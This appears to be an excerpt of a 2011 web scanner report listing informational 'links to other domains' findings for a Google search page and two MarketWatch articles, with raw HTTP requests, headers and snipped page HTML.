http://webcache.googleusercontent.com/search?q=cache:Ln_TbnvR6rwJ:bizinformatsiya.ru/www.vibrators.ru+LuxiteAuth&cd=3&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:Ztcf9Zrp2GUJ:dawhois.com/site/dinse.com.html+LuxiteAuth&cd=1&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:jlsbZndH2vMJ:81.88.216.104/domains/vibrators.ru/+LuxiteAuth&cd=9&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:lpvU7VTRZDMJ:phrase-history.ru/domains/alef.ru/+LuxiteAuth&cd=6&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:mhnohWS1gA4J:www.cqcounter.com/whois/site/vibrators.ru.html+LuxiteAuth&cd=7&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:nSUNfFwDqQwJ:bizinformatsiya.ru/www.lakokraska-schelkovo.ru+LuxiteAuth&cd=2&hl=en&ct=clnk&gl=us&source=www.google.com
http://webcache.googleusercontent.com/search?q=cache:puqAbSrsA5QJ:phrase-history.com/domains/tzh.ru/+LuxiteAuth&cd=10&hl=en&ct=clnk&gl=us&source=www.google.com
http://www.bname.ru/analysis/alef.ru
http://www.cqcounter.com/whois/site/vibrators.ru.html
http://www.seo-tools.com.ua/analysis/Default.aspx?site=www.vibrators.ru
http://www.youtube.com/results?q=LuxiteAuth&um=1&ie=UTF-8&sa=N&hl=en&tab=w1

Request

GET /search?sourceid=chrome&ie=UTF-8&q=LuxiteAuth HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=381be2a5a4e321de:U=b4ccbc578566f743:FF=0:TM=1305295666:LM=1305298565:S=ky1WAdlUDHsxJ4Yj; NID=46=emC1yOmaCO9XZw0ZZrmdTgUMUTiBROryAbKeEwGzRnTTb_foakDWTUcuaMExAPE8kEeEMz0BkfgSMyCMmJ1gvhpl_HzvACAHwZGPtRZ9N4F2KFIQgcQa5mmI8arST7K3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:35:45 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Get-Dictionary: /sdch/vD843DpA.dct
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 80235

<!doctype html> <head> <title>LuxiteAuth - Google Search</title> <script>window.google={kEI:"EWnOTbeVA8rB0AG-04XtDQ",kEXPI:"17259,23756,24692,24878,24879,25907,27400,28505,29229,29685,29795,298
...[SNIP]...
<li class=gbmtc><a class=gbmt id=gb_36 onclick="gbar.qsj(this);gbar.logger.il(1,{t:36})" href="http://www.youtube.com/results?q=LuxiteAuth&um=1&ie=UTF-8&sa=N&hl=en&tab=w1">YouTube</a>
...[SNIP]...
<h3 class="r"><a href="http://dawhois.com/site/dinse.com.html" class=l onmousedown="return clk(this.href,'','','','1','','0CBkQFjAA')">Dinse.com: Dinse, Knapp & McAndrew - Burlington, Vermont Law Firm</a>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:Ztcf9Zrp2GUJ:dawhois.com/site/dinse.com.html+LuxiteAuth&cd=1&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','1','','0CB4QIDAA')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://bizinformatsiya.ru/www.lakokraska-schelkovo.ru" class=l onmousedown="return clk(this.href,'','','','2','','0CB8QFjAB')">www.Lakokraska-schelkovo.ru</a>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:nSUNfFwDqQwJ:bizinformatsiya.ru/www.lakokraska-schelkovo.ru+LuxiteAuth&cd=2&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','2','','0CCQQIDAB')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://bizinformatsiya.ru/www.vibrators.ru" class=l onmousedown="return clk(this.href,'','','','3','','0CCcQFjAC')">www.Vibrators.ru</a>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:Ln_TbnvR6rwJ:bizinformatsiya.ru/www.vibrators.ru+LuxiteAuth&cd=3&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','3','','0CCwQIDAC')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.seo-tools.com.ua/analysis/Default.aspx?site=www.vibrators.ru" class=l onmousedown="return clk(this.href,'','','','4','','0CDAQFjAD')">............ .......... www.vibrators.ru, .............. www.vibrators.ru .. Google</a>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:05JB5jJ7owQJ:www.seo-tools.com.ua/analysis/Default.aspx%3Fsite%3Dwww.vibrators.ru+LuxiteAuth&cd=4&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk('http://webcache.googleusercontent.com/search?q=cache:05JB5jJ7owQJ:www.seo-tools.com.ua/analysis/Default.aspx%3Fsite%3Dwww.vibrators.ru+LuxiteAuth&cd=4&hl=en&ct=clnk&gl=us&source=www.google.com','','','','4','','0CDUQIDAD')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://bizinformation.org/us/www.dinse.com" class=l onmousedown="return clk(this.href,'','','','5','','0CDgQFjAE')">DINSE.COM</a>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:HEvTHlD35NsJ:bizinformation.org/us/www.dinse.com+LuxiteAuth&cd=5&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','5','','0CD0QIDAE')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://phrase-history.ru/domains/alef.ru/" class=l onmousedown="return clk(this.href,'','','','6','','0CD4QFjAF')">............ ............ "alef.ru" - ............(...... 1) .. ........(...... 1)(............ <b>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:lpvU7VTRZDMJ:phrase-history.ru/domains/alef.ru/+LuxiteAuth&cd=6&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','6','','0CEMQIDAF')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.cqcounter.com/whois/site/vibrators.ru.html" class=l onmousedown="return clk(this.href,'','','','7','','0CEYQFjAG')">Vibrators.ru: ...................... .......... .............. ........ - .................. ........ <b>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:mhnohWS1gA4J:www.cqcounter.com/whois/site/vibrators.ru.html+LuxiteAuth&cd=7&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','7','','0CEsQIDAG')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://www.bname.ru/analysis/alef.ru" class=l onmousedown="return clk(this.href,'','','','8','','0CE4QFjAH')">............ .......... alef.ru.</a>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:A4jgALM6MlcJ:www.bname.ru/analysis/alef.ru+LuxiteAuth&cd=8&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','8','','0CFMQIDAH')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://81.88.216.104/domains/vibrators.ru/" class=l onmousedown="return clk(this.href,'','','','9','','0CFYQFjAI')">............ ............ "vibrators.ru" - ............(...... 1) .. ........(...... 1)(............ <b>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:jlsbZndH2vMJ:81.88.216.104/domains/vibrators.ru/+LuxiteAuth&cd=9&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','9','','0CFsQIDAI')">Cached</a>
...[SNIP]...
<h3 class="r"><a href="http://phrase-history.com/domains/tzh.ru/" class=l onmousedown="return clk(this.href,'','','','10','','0CF4QFjAJ')">............ ............ "tzh.ru" - ............(...... 1) .. ........(...... 1)(............ ............ <b>
...[SNIP]...
<span class=gl><a href="http://webcache.googleusercontent.com/search?q=cache:puqAbSrsA5QJ:phrase-history.com/domains/tzh.ru/+LuxiteAuth&cd=10&hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','','10','','0CGQQIDAJ')">Cached</a>
...[SNIP]...

19.143. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The page was loaded from a URL containing a query string:

http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb

The response contains the following links to other domains:

http://ad.doubleclick.net/ad/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?
http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?
http://ad.doubleclick.net/jump/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8
http://c.wsj.net/dynamic/hat/hatloader3.js
http://chinese.wsj.com/gb/index.asp
http://dowjonesonline.com/
http://guides.wsj.com/small-business/
http://ie8.smoothfusion.com/MarketWatch/view.aspx
http://it-jobs.fins.com/?mod=MW_footer
http://js.revsci.net/gateway/gw.js?csid=G07608
http://om.dowjoneson.com/b/ss/djglobal,djmarketwatch/1/H.20.2--NS/0
http://on.mktw.net/iVFUiV
http://on.mktw.net/lLpMQx
http://on.mktw.net/m1xMpV
http://on.mktw.net/mdEIxx
http://on.mktw.net/miruT4
http://online.barrons.com/
http://online.barrons.com/home
http://online.wsj.com/
http://online.wsj.com/americas
http://online.wsj.com/asia
http://online.wsj.com/europe
http://online.wsj.com/home
http://s.wsj.net/img/icon_digg.gif
http://s.wsj.net/public/resources/MWimages/MW-AA365_gas_pu_MB_20090515135846.jpg
http://s.wsj.net/public/resources/MWimages/MW-AD758_linked_MB_20100303124859.jpg
http://s.wsj.net/public/resources/MWimages/MW-AF222_senior_MB_20100630155457.jpg
http://s.wsj.net/public/resources/MWimages/MW-AI181_week_i_MB_20110119145055.jpg
http://s.wsj.net/public/resources/MWimages/MW-AK183_kraft__MB_20110511174636.jpg
http://s.wsj.net/public/resources/MWimages/MW-AK222_paul_r_MB_20110513125456.jpg
http://s.wsj.net/public/resources/MWimages/MW-AK227_india__MB_20110513153010.jpg
http://sales-jobs.fins.com/?mod=MW_footer
http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-403743h&cg=0&cc=1&ts=noscript
http://solutions.dowjones.com/djcs/index.asp
http://stags.peer39.net/712/trg_712.js
http://twitter.com/MKTWJaffe
http://twitter.com/marketwatch
http://view.atdmt.com/iaction/msimkt_MarketWatchUniversalTag2_1
http://www.bigcharts.com/
http://www.dowjones.com/TheCompany/CodeConduct.htm
http://www.efinancialnews.com/
http://www.facebook.com/marketwatch
http://www.fins.com/?mod=MW_footer
http://www.fins.com/finance/?mod=MW_footer
http://www.nasdaq.com/services/DelDefOpenReport.pdf
http://www.omniture.com/
http://www.smartmoney.com/
http://www.twitter.com/MKTWJaffe
http://www.wsjlocal.com/

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-MACHINE: secdedtwebp04
Date: Sat, 14 May 2011 10:29:46 GMT
Content-Length: 141190

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/dynamic/hat/hatloader3.js"></script>
...[SNIP]...
<link rel="stylesheet" href="http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css?stop=it" type="text/css"/>
       <script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...
crisis, its reverse stock-split and new dividend are just cosmetic moves, and any investor who gets into the stock now would be making the Stupid Investment of the Week.&mod=mktw_share_digg','share')"><img src="http://s.wsj.net/img/icon_digg.gif"/></a>
...[SNIP]...
<a href="/story/keep-your-house-from-becoming-a-retirement-burden-2011-05-12?link=MW_story_insert" class="">
<img src="http://s.wsj.net/public/resources/MWimages/MW-AF222_senior_MB_20100630155457.jpg" style="border: 0;" alt="Robert Powell on steps and strategies to keep your house and mortgage from being nightmares in your retirement years." width="140" height="93" />
</a>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js"></script>
...[SNIP]...
<div class="block listblock">
   <a style="float:right;padding-top:10px;padding-right:5px;" href="http://twitter.com/MKTWJaffe">
       <img src="http://i3.marketwatch.com/MW5/content/images/icons-twitter.png"/>
...[SNIP]...
<h3><a href="http://www.twitter.com/MKTWJaffe">MKTWJaffe's Latest Tweets</a>
...[SNIP]...
<span>"Citigroup...s new look is plainly cosmetic <a href="http://on.mktw.net/mdEIxx">http://on.mktw.net/mdEIxx</a>
...[SNIP]...
<span id="twitter-date">1:10 p.m. EDT, May 13, 2011 from <a href="http://twitter.com/MKTWJaffe">MKTWJaffe</a>
...[SNIP]...
<span>"Inflation diet: same price, less product <a href="http://on.mktw.net/lLpMQx">http://on.mktw.net/lLpMQx</a>
...[SNIP]...
<span id="twitter-date">11:19 p.m. EDT, May 11, 2011 from <a href="http://twitter.com/MKTWJaffe">MKTWJaffe</a>
...[SNIP]...
<span>"ETF investors at risk in next ...flash crash... <a href="http://on.mktw.net/m1xMpV">http://on.mktw.net/m1xMpV</a>
...[SNIP]...
<span id="twitter-date">9:51 a.m. EDT, May 8, 2011 from <a href="http://twitter.com/MKTWJaffe">MKTWJaffe</a>
...[SNIP]...
<span>"Stock trading snafu should worry investors <a href="http://on.mktw.net/iVFUiV">http://on.mktw.net/iVFUiV</a>
...[SNIP]...
<span id="twitter-date">4:08 p.m. EDT, May 4, 2011 from <a href="http://twitter.com/MKTWJaffe">MKTWJaffe</a>
...[SNIP]...
<span>"New funds, top managers don...t always mix <a href="http://on.mktw.net/miruT4">http://on.mktw.net/miruT4</a>
...[SNIP]...
<span id="twitter-date">11:17 a.m. EDT, May 1, 2011 from <a href="http://twitter.com/MKTWJaffe">MKTWJaffe</a>
...[SNIP]...
<div id="about-box" class="block listblock">
   <a style="float:right;padding-top:10px;padding-right:5px;" href="http://twitter.com/MKTWJaffe">
       <img src="http://i3.marketwatch.com/MW5/content/images/icons-twitter.png"/>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab1">
<a id="hat_link1" href="http://online.wsj.com/home"></a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab3">
<a id="hat_link3" href="http://online.barrons.com/home"></a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab4">
<a id="hat_link4" href="http://allthingsd.com/"></a>
...[SNIP]...
<li onmouseout="hat.tabout(this)" onmouseover="hat.tabover(this)" class="hat_tab" id="hat_tab6">
<a id="hat_link6" href="http://www.smartmoney.com/"></a>
...[SNIP]...
<li onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item" id="hat_more3">
<a href="http://online.wsj.com/asia">WSJ Asia</a>
...[SNIP]...
<li onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item" id="hat_more4">
<a href="http://online.wsj.com/europe">WSJ Europe</a>
...[SNIP]...
<li onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)" class="hat_drop_item" id="hat_more5">
<a href="http://online.wsj.com/americas">WSJ Americas</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more6" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)">
<a href="http://chinese.wsj.com/gb/index.asp">WSJ Chinese</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more7" onmouseout="hat.menuout(this)" onmouseover="hat.menuover(this)">
<a href="http://www.efinancialnews.com/">Financial News Online</a>
...[SNIP]...
<a href="/story/save-money-on-gas-with-credit-cards-2011-05-13?link=mw_story_kiosk" class=""><img src="http://s.wsj.net/public/resources/MWimages/MW-AA365_gas_pu_MB_20090515135846.jpg" style="border: 0;" alt="gas pump" width="140" height="79" /></a>
...[SNIP]...
<a href="/story/indian-vote-favors-congress-party-boosts-market-2011-05-13?link=mw_story_kiosk" class=""><img src="http://s.wsj.net/public/resources/MWimages/MW-AK227_india__MB_20110513153010.jpg" style="border: 0;" alt="" width="140" height="93" /></a>
...[SNIP]...
<a href="/story/us-week-ahead-looking-to-linkedins-ipo-2011-05-13?link=mw_story_kiosk" class=""><img src="http://s.wsj.net/public/resources/MWimages/MW-AD758_linked_MB_20100303124859.jpg" style="border: 0;" alt="LinkedIn" width="140" height="93" /></a>
...[SNIP]...
<div class="oneandhalfwide" style="text-align: right; float: none; margin: 0;" >
<img src="http://s.wsj.net/public/resources/MWimages/MW-AI181_week_i_MB_20110119145055.jpg" style="border: 0;" alt="" width="140" height="93" />
                                                                   </div>
...[SNIP]...
<a href="/story/kraft-tops-food-rivals-in-commodities-fight-2011-05-12?link=mw_story_kiosk" class="">
<img src="http://s.wsj.net/public/resources/MWimages/MW-AK183_kraft__MB_20110511174636.jpg" style="border: 0;" alt="" width="140" height="93" /></a>
...[SNIP]...
<a href="http://blogs.marketwatch.com/election/2011/05/13/libertarian-ron-paul-launches-third-presidential-bid/" >
<img src="http://s.wsj.net/public/resources/MWimages/MW-AK222_paul_r_MB_20110513125456.jpg" style="border: 0;" alt="" width="140" height="93" /></a>
...[SNIP]...
<li><a id="endcapFacebook" href="http://www.facebook.com/marketwatch">MarketWatch on Facebook</a>
...[SNIP]...
<li><a id="endcapTwitter" href="http://twitter.com/marketwatch">MarketWatch on Twitter</a>
...[SNIP]...
<li><a href="http://www.dowjones.com/TheCompany/CodeConduct.htm">Code of Conduct</a>
...[SNIP]...
<li><a href="http://dowjonesonline.com/">Advertising Media Kit</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/">Advertise Locally</a>
...[SNIP]...
<li><a href="http://solutions.dowjones.com/djcs/index.asp">License our Content</a>
...[SNIP]...
<li><a href="http://online.wsj.com/">WSJ.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/">Barron's Online</a>
...[SNIP]...
<li><a href="http://www.bigcharts.com/">BigCharts</a>
...[SNIP]...
<li><a href="http://allthingsd.com/">All Things Digital</a>
...[SNIP]...
<li><a href="http://www.efinancialnews.com/">Financial News Online</a>
...[SNIP]...
<li><a href="http://guides.wsj.com/small-business/">WSJ.com Small Business</a>
...[SNIP]...
<li><a href="http://www.fins.com/?mod=MW_footer">FINS:</a>
               <a href="http://www.fins.com/finance/?mod=MW_footer">Finance</a>,
               <a href="http://it-jobs.fins.com/?mod=MW_footer">IT jobs</a>,
               <a href="http://sales-jobs.fins.com/?mod=MW_footer">Sales jobs</a>
...[SNIP]...
ta delayed per exchange requirements. Dow Jones Indexes (SM) from Dow Jones & Company, Inc. All quotes are in local exchange time.
           Real time last sale data provided by NASDAQ. More information on <a href="http://www.nasdaq.com/services/DelDefOpenReport.pdf">NASDAQ traded symbols</a>
...[SNIP]...
<div id="ad_DockingbarExpandable" class="advertisement ">


               <script src="http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?" type="text/javascript"></script>
               <noscript>
                   <a href="http://ad.doubleclick.net/jump/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?" target="_blank">
                       <img src="http://ad.doubleclick.net/ad/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=1627379692?" alt="0" border="0"/>
                   </a>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/MarketWatch/view.aspx" style="display: none; ">Link to MarketWatch's Slice.</a>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://om.dowjoneson.com/b/ss/djglobal,djmarketwatch/1/H.20.2--NS/0" height="1" width="1" border="0" alt=""/></a>
...[SNIP]...

       <script type="text/javascript" src="http://js.revsci.net/gateway/gw.js?csid=G07608"></script>
...[SNIP]...
<noscript>
       <iframe src="http://view.atdmt.com/iaction/msimkt_MarketWatchUniversalTag2_1" width="1" height="1" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0"></iframe>
...[SNIP]...
<div>
<img src="//secure-us.imrworldwide.com/cgi-bin/m?ci=us-403743h&cg=0&cc=1&ts=noscript" width="1" height="1" alt=""/>
</div>
...[SNIP]...
</script>
   <script type="text/javascript" charset="utf-8" src="http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8"></script>
...[SNIP]...

19.144. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The page was loaded from a URL containing a query string:

http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite

The response contains the following links to other domains:

http://ad.doubleclick.net/ad/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?
http://ad.doubleclick.net/adj/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?
http://ad.doubleclick.net/jump/marketwatch.com/brokerdock;s=8_10001;u=%5e%5elA;biz=1053;sz=230x25;tile=1;ord=698111855?
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://bit.ly/iHiGih
http://bit.ly/javascript-api.js?version=latest&login=marketwatch&apiKey=R_5ce3cdceeff9ce2514fc6a4f9ccfdea8
http://bit.ly/lKNU0X
http://bit.ly/mj89sY
http://bit.ly/mm1r1f
http://c.wsj.net/dynamic/hat/hatloader3.js
http://chinese.wsj.com/gb/index.asp
http://dowjonesonline.com/
http://guides.wsj.com/small-business/
http://ie8.smoothfusion.com/MarketWatch/view.aspx
http://it-jobs.fins.com/?mod=MW_footer
http://js.revsci.net/gateway/gw.js?csid=G07608
http://m.wsj.net/video/20110412/sf040611burton/sf040611burton_512x288.jpg
http://m.wsj.net/video/20110513/051311hubamdebtdoubt/051311hubamdebtdoubt_512x288.jpg
http://om.dowjoneson.com/b/ss/djglobal,djmarketwatch/1/H.20.2--NS/0
http://on.mktw.net/jQ40eG
http://online.barrons.com/
http://online.barrons.com/home
http://online.wsj.com/
http://online.wsj.com/americas
http://online.wsj.com/asia
http://online.wsj.com/europe
http://online.wsj.com/home
http://s.wsj.net/img/icon_digg.gif
http://s.wsj.net/public/resources/MWimages/MW-AA365_gas_pu_MB_20090515135846.jpg
http://s.wsj.net/public/resources/MWimages/MW-AD758_linked_MB_20100303124859.jpg
http://s.wsj.net/public/resources/MWimages/MW-AI181_week_i_MB_20110119145055.jpg
http://s.wsj.net/public/resources/MWimages/MW-AK183_kraft__MB_20110511174636.jpg
http://s.wsj.net/public/resources/MWimages/MW-AK222_paul_r_MB_20110513125456.jpg
http://s.wsj.net/public/resources/MWimages/MW-AK227_india__MB_20110513153010.jpg
http://sales-jobs.fins.com/?mod=MW_footer
http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-403743h&cg=0&cc=1&ts=noscript
http://solutions.dowjones.com/djcs/index.asp
http://stags.peer39.net/712/trg_712.js
http://twitter.com/MarketWatch
http://twitter.com/marketwatch
http://view.atdmt.com/iaction/msimkt_MarketWatchUniversalTag2_1
http://www.bigcharts.com/
http://www.dowjones.com/TheCompany/CodeConduct.htm
http://www.efinancialnews.com/
http://www.facebook.com/marketwatch
http://www.fins.com/?mod=MW_footer
http://www.fins.com/finance/?mod=MW_footer
http://www.nasdaq.com/services/DelDefOpenReport.pdf
http://www.omniture.com/
http://www.smartmoney.com/
http://www.twitter.com/MarketWatch
http://www.wsjlocal.com/

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-MACHINE: secdedtwebp01
Date: Sat, 14 May 2011 10:32:48 GMT
Content-Length: 104195

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
</script>

<script type="text/javascript" src="http://c.wsj.net/dynamic/hat/hatloader3.js"></script>
...[SNIP]...
<link rel="stylesheet" href="http://i1.marketwatch.com/MW5/content/business/css/marketwatch.member.css?stop=it" type="text/css"/>
       <script type="text/javascript" src="http://stags.peer39.net/712/trg_712.js"></script>
...[SNIP]...
e...s finances has worsened on a slow economic recovery and higher costs, while the outlook for Social Security has also declined, trustees for the programs said Friday.&mod=mktw_share_digg','share')"><img src="http://s.wsj.net/img/icon_digg.gif"/></a>
...[SNIP]...
</span>
<img width="268" height="151" src="http://m.wsj.net/video/20110513/051311hubamdebtdoubt/051311hubamdebtdoubt_512x288.jpg"></img>
...[SNIP]...
</span>
<img width="268" height="151" src="http://m.wsj.net/video/20110412/sf040611burton/sf040611burton_512x288.jpg"></img>
...[SNIP]...
</script>
